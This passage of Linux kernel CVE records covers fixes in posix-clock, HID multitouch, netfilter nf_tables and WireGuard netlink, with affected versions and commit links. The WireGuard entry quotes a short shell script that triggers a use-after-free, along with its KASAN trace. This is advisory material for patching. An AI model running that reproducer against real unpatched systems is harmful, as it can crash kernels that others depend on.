                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.229",
                  "versionStartIncluding": "5.10.228",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.170",
                  "versionStartIncluding": "5.15.169",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.115",
                  "versionStartIncluding": "6.1.114",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.59",
                  "versionStartIncluding": "6.6.58",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.6",
                  "versionStartIncluding": "6.11.5",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nposix-clock: posix-clock: Fix unbalanced locking in pc_clock_settime()\n\nIf get_clock_desc() succeeds, it calls fget() for the clockid\u0027s fd,\nand get the clk-\u003erwsem read lock, so the error path should release\nthe lock to make the lock balance and fput the clockid\u0027s fd to make\nthe refcount balance and release the fd related resource.\n\nHowever the below commit left the error path locked behind resulting in\nunbalanced locking. Check timespec64_valid_strict() before\nget_clock_desc() to fix it, because the \"ts\" is not changed\nafter that.\n\n[pabeni@redhat.com: fixed commit message typo]"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:47:33.314Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d005400262ddaf1ca1666bbcd1acf42fe81d57ce"
        },
        {
          "url": "https://git.kernel.org/stable/c/a8219446b95a859488feaade674d13f9efacfa32"
        },
        {
          "url": "https://git.kernel.org/stable/c/c7fcfdba35abc9f39b83080c2bce398dad13a943"
        },
        {
          "url": "https://git.kernel.org/stable/c/e56e0ec1b79f5a6272c6e78b36e9d593aa0449af"
        },
        {
          "url": "https://git.kernel.org/stable/c/5f063bbf1ee6b01611c016b54e050a41506eb794"
        },
        {
          "url": "https://git.kernel.org/stable/c/1ba33b327c3f88a7baee598979d73ab5b44d41cc"
        },
        {
          "url": "https://git.kernel.org/stable/c/b27330128eca25179637c1816d5a72d6cc408c66"
        },
        {
          "url": "https://git.kernel.org/stable/c/6e62807c7fbb3c758d233018caf94dfea9c65dbd"
        }
      ],
      "title": "posix-clock: posix-clock: Fix unbalanced locking in pc_clock_settime()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50210",
    "datePublished": "2024-11-08T06:08:00.319Z",
    "dateReserved": "2024-10-21T19:36:19.970Z",
    "dateUpdated": "2026-05-12T12:00:28.952Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-58020 (GCVE-0-2024-58020)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:18 – Updated: 2026-05-12 12:01

Title

HID: multitouch: Add NULL check in mt_input_configured

Summary

In the Linux kernel, the following vulnerability has been resolved: HID: multitouch: Add NULL check in mt_input_configured devm_kasprintf() can return a NULL pointer on failure,but this returned value in mt_input_configured() is not checked. Add NULL check in mt_input_configured(), to handle kernel NULL pointer dereference error.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/a04d96ef67a42165f…
https://git.kernel.org/stable/c/a6bfd3856e9f3da08…
https://git.kernel.org/stable/c/2052b44cd0a62b6fd…
https://git.kernel.org/stable/c/4e7113f591163d99a…
https://git.kernel.org/stable/c/62f8bf06262b6fc55…
https://git.kernel.org/stable/c/aa879ef6d3acf96fa…
https://git.kernel.org/stable/c/97c09cc2e72769edb…
https://git.kernel.org/stable/c/9b8e2220d3a052a69…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: df7ca43fe090e1a56c216c8ebc106ef5fd49afc6 , < a04d96ef67a42165f93194eef22a270acba4b74c (git) Affected: 15ec7cb55e7d88755aa01d44a7a1015a42bfce86 , < a6bfd3856e9f3da083f177753c623d58ba935e0a (git) Affected: dde88ab4e45beb60b217026207aa9c14c88d71ab , < 2052b44cd0a62b6fdbe3371e5ba6029c56c400ca (git) Affected: 2763732ec1e68910719c75b6b896e11b6d3d622b , < 4e7113f591163d99adc7cbcd7295030c8c5d3fc7 (git) Affected: 4794394635293a3e74591351fff469cea7ad15a2 , < 62f8bf06262b6fc55c58f4c5256140f1382f3b01 (git) Affected: 4794394635293a3e74591351fff469cea7ad15a2 , < aa879ef6d3acf96fa2c7122d0632061d4ea58d48 (git) Affected: 4794394635293a3e74591351fff469cea7ad15a2 , < 97c09cc2e72769edb6994b531edcfa313b96bade (git) Affected: 4794394635293a3e74591351fff469cea7ad15a2 , < 9b8e2220d3a052a690b1d1b23019673e612494c5 (git) Affected: ac0d389402a6ff9ad92cea02c2d8c711483b91ab (git) Affected: 39c70c19456e50dcb3abfe53539220dff0490f1d (git) Affected: 1d7833db9fd118415dace2ca157bfa603dec9c8c (git) Affected: b70ac7849248ec8128fa12f86e3655ba38838f29 (git)
Linux	Linux	Affected: 6.6 Unaffected: 0 , < 6.6 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.79 , ≤ 6.6.* (semver) Unaffected: 6.12.16 , ≤ 6.12.* (semver) Unaffected: 6.13.4 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:33:39.529Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:01:55.863Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/hid/hid-multitouch.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "a04d96ef67a42165f93194eef22a270acba4b74c",
              "status": "affected",
              "version": "df7ca43fe090e1a56c216c8ebc106ef5fd49afc6",
              "versionType": "git"
            },
            {
              "lessThan": "a6bfd3856e9f3da083f177753c623d58ba935e0a",
              "status": "affected",
              "version": "15ec7cb55e7d88755aa01d44a7a1015a42bfce86",
              "versionType": "git"
            },
            {
              "lessThan": "2052b44cd0a62b6fdbe3371e5ba6029c56c400ca",
              "status": "affected",
              "version": "dde88ab4e45beb60b217026207aa9c14c88d71ab",
              "versionType": "git"
            },
            {
              "lessThan": "4e7113f591163d99adc7cbcd7295030c8c5d3fc7",
              "status": "affected",
              "version": "2763732ec1e68910719c75b6b896e11b6d3d622b",
              "versionType": "git"
            },
            {
              "lessThan": "62f8bf06262b6fc55c58f4c5256140f1382f3b01",
              "status": "affected",
              "version": "4794394635293a3e74591351fff469cea7ad15a2",
              "versionType": "git"
            },
            {
              "lessThan": "aa879ef6d3acf96fa2c7122d0632061d4ea58d48",
              "status": "affected",
              "version": "4794394635293a3e74591351fff469cea7ad15a2",
              "versionType": "git"
            },
            {
              "lessThan": "97c09cc2e72769edb6994b531edcfa313b96bade",
              "status": "affected",
              "version": "4794394635293a3e74591351fff469cea7ad15a2",
              "versionType": "git"
            },
            {
              "lessThan": "9b8e2220d3a052a690b1d1b23019673e612494c5",
              "status": "affected",
              "version": "4794394635293a3e74591351fff469cea7ad15a2",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "ac0d389402a6ff9ad92cea02c2d8c711483b91ab",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "39c70c19456e50dcb3abfe53539220dff0490f1d",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "1d7833db9fd118415dace2ca157bfa603dec9c8c",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "b70ac7849248ec8128fa12f86e3655ba38838f29",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/hid/hid-multitouch.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.6"
            },
            {
              "lessThan": "6.6",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.79",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.16",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "5.4.257",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "5.10.195",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "5.15.132",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "6.1.53",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.79",
                  "versionStartIncluding": "6.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.16",
                  "versionStartIncluding": "6.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.4",
                  "versionStartIncluding": "6.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "6.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.14.326",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.19.295",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.5.3",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: multitouch: Add NULL check in mt_input_configured\n\ndevm_kasprintf() can return a NULL pointer on failure,but this\nreturned value in mt_input_configured() is not checked.\nAdd NULL check in mt_input_configured(), to handle kernel NULL\npointer dereference error."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:02:14.758Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/a04d96ef67a42165f93194eef22a270acba4b74c"
        },
        {
          "url": "https://git.kernel.org/stable/c/a6bfd3856e9f3da083f177753c623d58ba935e0a"
        },
        {
          "url": "https://git.kernel.org/stable/c/2052b44cd0a62b6fdbe3371e5ba6029c56c400ca"
        },
        {
          "url": "https://git.kernel.org/stable/c/4e7113f591163d99adc7cbcd7295030c8c5d3fc7"
        },
        {
          "url": "https://git.kernel.org/stable/c/62f8bf06262b6fc55c58f4c5256140f1382f3b01"
        },
        {
          "url": "https://git.kernel.org/stable/c/aa879ef6d3acf96fa2c7122d0632061d4ea58d48"
        },
        {
          "url": "https://git.kernel.org/stable/c/97c09cc2e72769edb6994b531edcfa313b96bade"
        },
        {
          "url": "https://git.kernel.org/stable/c/9b8e2220d3a052a690b1d1b23019673e612494c5"
        }
      ],
      "title": "HID: multitouch: Add NULL check in mt_input_configured",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-58020",
    "datePublished": "2025-02-27T02:18:10.081Z",
    "dateReserved": "2025-02-27T02:10:48.228Z",
    "dateUpdated": "2026-05-12T12:01:55.863Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35897 (GCVE-0-2024-35897)

Vulnerability from cvelistv5 – Published: 2024-05-19 08:34 – Updated: 2026-05-12 11:52

Title

netfilter: nf_tables: discard table flag update with pending basechain deletion

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: discard table flag update with pending basechain deletion Hook unregistration is deferred to the commit phase, same occurs with hook updates triggered by the table dormant flag. When both commands are combined, this results in deleting a basechain while leaving its hook still registered in the core.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/e75faf01e22ec7dc6…
https://git.kernel.org/stable/c/9a3b90904d8a07228…
https://git.kernel.org/stable/c/b58d0ac35f6d75ec1…
https://git.kernel.org/stable/c/6cbbe1ba76ee7e674…
https://git.kernel.org/stable/c/2aeb805a1bcd5f27c…
https://git.kernel.org/stable/c/9627fd0c6ea1c4467…
https://git.kernel.org/stable/c/7f609f630951b6243…
https://git.kernel.org/stable/c/1bc83a019bbe268be…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: bf8083bbf8fa202e6e5316bbd99759ab82bfe7a3 , < e75faf01e22ec7dc671640fa0e0968964fafd2fc (git) Affected: e10f661adc556c4969c70ddaddf238bffdaf1e87 , < 9a3b90904d8a072287480eed4c3ece4b99d64f78 (git) Affected: d9c4da8cb74e8ee6e58a064a3573aa37acf6c935 , < b58d0ac35f6d75ec1db8650a29dfd6f292c11362 (git) Affected: 179d9ba5559a756f4322583388b3213fe4e391b0 , < 6cbbe1ba76ee7e674a86abd43009b083a45838cb (git) Affected: 179d9ba5559a756f4322583388b3213fe4e391b0 , < 2aeb805a1bcd5f27c8c0d1a9d4d653f16d1506f4 (git) Affected: 179d9ba5559a756f4322583388b3213fe4e391b0 , < 9627fd0c6ea1c446741a33e67bc5709c59923827 (git) Affected: 179d9ba5559a756f4322583388b3213fe4e391b0 , < 7f609f630951b624348373cef99991ce08831927 (git) Affected: 179d9ba5559a756f4322583388b3213fe4e391b0 , < 1bc83a019bbe268be3526406245ec28c2458a518 (git)
Linux	Linux	Affected: 5.13 Unaffected: 0 , < 5.13 (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.155 , ≤ 5.15.* (semver) Unaffected: 6.1.86 , ≤ 6.1.* (semver) Unaffected: 6.6.26 , ≤ 6.6.* (semver) Unaffected: 6.8.5 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:48.782Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e75faf01e22ec7dc671640fa0e0968964fafd2fc"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9a3b90904d8a072287480eed4c3ece4b99d64f78"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b58d0ac35f6d75ec1db8650a29dfd6f292c11362"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6cbbe1ba76ee7e674a86abd43009b083a45838cb"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2aeb805a1bcd5f27c8c0d1a9d4d653f16d1506f4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9627fd0c6ea1c446741a33e67bc5709c59923827"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7f609f630951b624348373cef99991ce08831927"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1bc83a019bbe268be3526406245ec28c2458a518"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35897",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:41:11.412085Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:16.369Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:33.119Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_tables_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e75faf01e22ec7dc671640fa0e0968964fafd2fc",
              "status": "affected",
              "version": "bf8083bbf8fa202e6e5316bbd99759ab82bfe7a3",
              "versionType": "git"
            },
            {
              "lessThan": "9a3b90904d8a072287480eed4c3ece4b99d64f78",
              "status": "affected",
              "version": "e10f661adc556c4969c70ddaddf238bffdaf1e87",
              "versionType": "git"
            },
            {
              "lessThan": "b58d0ac35f6d75ec1db8650a29dfd6f292c11362",
              "status": "affected",
              "version": "d9c4da8cb74e8ee6e58a064a3573aa37acf6c935",
              "versionType": "git"
            },
            {
              "lessThan": "6cbbe1ba76ee7e674a86abd43009b083a45838cb",
              "status": "affected",
              "version": "179d9ba5559a756f4322583388b3213fe4e391b0",
              "versionType": "git"
            },
            {
              "lessThan": "2aeb805a1bcd5f27c8c0d1a9d4d653f16d1506f4",
              "status": "affected",
              "version": "179d9ba5559a756f4322583388b3213fe4e391b0",
              "versionType": "git"
            },
            {
              "lessThan": "9627fd0c6ea1c446741a33e67bc5709c59923827",
              "status": "affected",
              "version": "179d9ba5559a756f4322583388b3213fe4e391b0",
              "versionType": "git"
            },
            {
              "lessThan": "7f609f630951b624348373cef99991ce08831927",
              "status": "affected",
              "version": "179d9ba5559a756f4322583388b3213fe4e391b0",
              "versionType": "git"
            },
            {
              "lessThan": "1bc83a019bbe268be3526406245ec28c2458a518",
              "status": "affected",
              "version": "179d9ba5559a756f4322583388b3213fe4e391b0",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_tables_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.13"
            },
            {
              "lessThan": "5.13",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.155",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.86",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.26",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "5.4.262",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "5.10.202",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.155",
                  "versionStartIncluding": "5.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.86",
                  "versionStartIncluding": "5.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.26",
                  "versionStartIncluding": "5.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.5",
                  "versionStartIncluding": "5.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.13",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: discard table flag update with pending basechain deletion\n\nHook unregistration is deferred to the commit phase, same occurs with\nhook updates triggered by the table dormant flag. When both commands are\ncombined, this results in deleting a basechain while leaving its hook\nstill registered in the core."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:13:22.090Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e75faf01e22ec7dc671640fa0e0968964fafd2fc"
        },
        {
          "url": "https://git.kernel.org/stable/c/9a3b90904d8a072287480eed4c3ece4b99d64f78"
        },
        {
          "url": "https://git.kernel.org/stable/c/b58d0ac35f6d75ec1db8650a29dfd6f292c11362"
        },
        {
          "url": "https://git.kernel.org/stable/c/6cbbe1ba76ee7e674a86abd43009b083a45838cb"
        },
        {
          "url": "https://git.kernel.org/stable/c/2aeb805a1bcd5f27c8c0d1a9d4d653f16d1506f4"
        },
        {
          "url": "https://git.kernel.org/stable/c/9627fd0c6ea1c446741a33e67bc5709c59923827"
        },
        {
          "url": "https://git.kernel.org/stable/c/7f609f630951b624348373cef99991ce08831927"
        },
        {
          "url": "https://git.kernel.org/stable/c/1bc83a019bbe268be3526406245ec28c2458a518"
        }
      ],
      "title": "netfilter: nf_tables: discard table flag update with pending basechain deletion",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35897",
    "datePublished": "2024-05-19T08:34:51.799Z",
    "dateReserved": "2024-05-17T13:50:33.114Z",
    "dateUpdated": "2026-05-12T11:52:33.119Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26951 (GCVE-0-2024-26951)

Vulnerability from cvelistv5 – Published: 2024-05-01 05:18 – Updated: 2026-05-12 11:50

Title

wireguard: netlink: check for dangling peer via is_dead instead of empty list

Summary

In the Linux kernel, the following vulnerability has been resolved: wireguard: netlink: check for dangling peer via is_dead instead of empty list If all peers are removed via wg_peer_remove_all(), rather than setting peer_list to empty, the peer is added to a temporary list with a head on the stack of wg_peer_remove_all(). If a netlink dump is resumed and the cursored peer is one that has been removed via wg_peer_remove_all(), it will iterate from that peer and then attempt to dump freed peers. Fix this by instead checking peer->is_dead, which was explictly created for this purpose. Also move up the device_update_lock lockdep assertion, since reading is_dead relies on that. It can be reproduced by a small script like: echo "Setting config..." ip link add dev wg0 type wireguard wg setconf wg0 /big-config ( while true; do echo "Showing config..." wg showconf wg0 > /dev/null done ) & sleep 4 wg setconf wg0 <(printf "[Peer]\nPublicKey=$(wg genkey)\n") Resulting in: BUG: KASAN: slab-use-after-free in __lock_acquire+0x182a/0x1b20 Read of size 8 at addr ffff88811956ec70 by task wg/59 CPU: 2 PID: 59 Comm: wg Not tainted 6.8.0-rc2-debug+ #5 Call Trace: <TASK> dump_stack_lvl+0x47/0x70 print_address_description.constprop.0+0x2c/0x380 print_report+0xab/0x250 kasan_report+0xba/0xf0 __lock_acquire+0x182a/0x1b20 lock_acquire+0x191/0x4b0 down_read+0x80/0x440 get_peer+0x140/0xcb0 wg_get_device_dump+0x471/0x1130

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/f52be46e3e6ecefc2…
https://git.kernel.org/stable/c/710a177f347282eea…
https://git.kernel.org/stable/c/b7cea3a9af0853fdb…
https://git.kernel.org/stable/c/13d10779430430616…
https://git.kernel.org/stable/c/7bedfe4cfa3877184…
https://git.kernel.org/stable/c/302b2dfc013baca3d…
https://git.kernel.org/stable/c/55b6c738673871c9b…

Impacted products

2 products

Vendor	Product	Version
